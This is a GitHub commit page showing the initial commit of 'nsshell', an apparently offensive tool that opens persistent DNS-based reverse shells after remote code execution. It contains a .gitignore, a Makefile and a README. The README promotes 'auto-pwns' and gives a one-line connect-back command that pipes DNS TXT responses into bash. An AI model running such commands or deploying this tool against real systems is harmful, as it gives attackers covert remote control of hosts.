Skip to content

Commit 9d32674

Browse files
committed
Let there be light!
0 parents  commit 9d32674

21 files changed

+1969
-0
lines changed

.gitignore

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
# nsshell #
2+
###################
3+
payloads.txt
4+
5+
6+
# Compiled source #
7+
###################
8+
*.com
9+
*.class
10+
*.dll
11+
*.exe
12+
*.o
13+
*.so
14+
*.pyc
15+
*.back
16+
*.bak
17+
.idea
18+
# Packages #
19+
############
20+
# it's better to unpack these files and commit the raw source
21+
# git has its own built in compression methods
22+
*.7z
23+
*.dmg
24+
*.gz
25+
*.iso
26+
*.jar
27+
*.rar
28+
*.tar
29+
*.zip
30+
*.deb
31+
32+
# Logs and databases #
33+
######################
34+
*.log
35+
*.sql
36+
*.sqlite
37+
38+
# OS generated files #
39+
######################
40+
*.DS_Store
41+
*.DS_Store?
42+
._*
43+
*.Spotlight-V100
44+
*.Trashes
45+
ehthumbs.db
46+
Thumbs.db
47+
*.swp
48+
49+
# bundle packages
50+
dotfiles/.vim/bundle/*/*

LICENSE

Lines changed: 674 additions & 0 deletions
Large diffs are not rendered by default.

Makefile

Lines changed: 92 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,92 @@
1+
#!/usr/bin/make
2+
# WARN: gmake syntax
3+
########################################################
4+
#
5+
# useful targets:
6+
# make test - run the unit tests
7+
# make flake8 - linting and pep8
8+
# make docs - create manpages and html documentation
9+
10+
########################################################
11+
# variable section
12+
13+
NAME = nsshell
14+
OS = $(shell uname -s)
15+
ARCHITECTURE = amd64
16+
VERSION= $(shell grep -e 'version=' setup.py | cut -d\' -f 2)
17+
PYTHON = $(shell which python2)
18+
VIRTUALENV_PATH = $(shell echo $$HOME/.virtualenvs)
19+
INSTALL_PATH = /usr/local/lib
20+
EXEC_PATH = /usr/local/bin
21+
22+
MANPAGES=$(wildcard docs/man/**/*.*.ronn)
23+
MANPAGES_GEN=$(patsubst %.ronn,%,$(MANPAGES))
24+
MANPAGES_HTML=$(patsubst %.ronn,%.html,$(MANPAGES))
25+
ifneq ($(shell which ronn 2>/dev/null),)
26+
RONN2MAN = ronn
27+
else
28+
RONN2MAN = @echo "WARN: 'ronn' command is not installed but is required to build $(MANPAGES)"
29+
endif
30+
31+
UNITTESTS=unittest
32+
COVERAGE=coverage
33+
34+
########################################################
35+
36+
37+
docs: $(MANPAGES)
38+
$(RONN2MAN) $^
39+
40+
.PHONY: clean
41+
clean:
42+
rm -f $(MANPAGES_GEN) $(MANPAGES_HTML)
43+
rm -rf ./build
44+
rm -rf ./dist
45+
rm -rf ./*.egg-info
46+
rm -rf ./*.deb
47+
rm -rf .tox
48+
rm -rf .coverage
49+
rm -rf .cache
50+
find . -name '*.pyc.*' -delete
51+
find . -name '*.pyc' -delete
52+
find . -name '__pycache__' -delete
53+
54+
test:
55+
# "TODO - test"
56+
57+
virtualenv:
58+
mkdir -p $(VIRTUALENV_PATH)
59+
rm -rf $(VIRTUALENV_PATH)/$(NAME)
60+
virtualenv -p $(PYTHON) $(VIRTUALENV_PATH)/$(NAME)
61+
62+
virtualenv-install: virtualenv
63+
$(VIRTUALENV_PATH)/$(NAME)/bin/python setup.py install
64+
65+
virtualenv-develop: virtualenv
66+
$(VIRTUALENV_PATH)/$(NAME)/bin/python setup.py develop
67+
68+
virtualenv-sdist: virtualenv
69+
$(VIRTUALENV_PATH)/$(NAME)/bin/python setup.py sdist
70+
71+
dist: install
72+
fpm -s dir -t deb -v $(VERSION) -n $(NAME) -a $(ARCHITECTURE) $(INSTALL_PATH)/$(NAME) $(EXEC_PATH)/$(NAME)
73+
74+
install:
75+
virtualenv -p $(PYTHON) $(INSTALL_PATH)/$(NAME)
76+
$(INSTALL_PATH)/$(NAME)/bin/python setup.py install
77+
ln -f -s $(INSTALL_PATH)/$(NAME)/bin/$(NAME) $(EXEC_PATH)/$(NAME)
78+
# look at my templating language ma
79+
mkdir -p /etc/nsshell
80+
mkdir -p /var/log/nsshell
81+
echo -n '[a]\nSCRIPTS_DIR="/etc/nsshell/scripts/"\nLOG_DIR="/var/log/nsshell"' > /etc/nsshell/nsshell.conf
82+
cp -r scripts/ /etc/nsshell/
83+
84+
uninstall:
85+
rm -rf -v -I $(INSTALL_PATH)/$(NAME)
86+
rm -f -v -I $(EXEC_PATH)/$(NAME)
87+
88+
container:
89+
bash ./scripts/build.sh -d
90+
bash ./scripts/build.sh -b
91+
92+
all: docs test

README.md

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
Think sqlmap meets xsshunter - but looking for (blind/nonblind) RCE to get a DNS connectback shell.
2+
3+
> persistent shell (even if you exit nsshell.py)
4+
> doesn't touch disk
5+
> resumes access when you restart nsshell.py
6+
> nothing to install or compile for the target
7+
> the target can use their own trusted DNS resolver - or automatically upgrade to a direct connection for speed
8+
9+
Start:
10+
The tool needs to know which domain it has control over:
11+
sudo ./nsshell.py hack.com 123.123.123.112
12+
...
13+
>wrote connect-back payloads to:payloads.txt"
14+
15+
The file above contains a list of auto-pwns. Run one of the payloads and a persistent shell will be loaded over DNS.
16+
17+
That's all folks!
18+
19+
## install
20+
sudo make install && echo $(which nsshell) && nsshell localhost 127.0.0.1
21+
22+
spawn a connectback:
23+
nslookup -type=txt 1 localhost | bash

icon.png

98.8 KB
Loading

nsshell.py

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
nsshell/__init__.py

0 commit comments

Comments
 (0)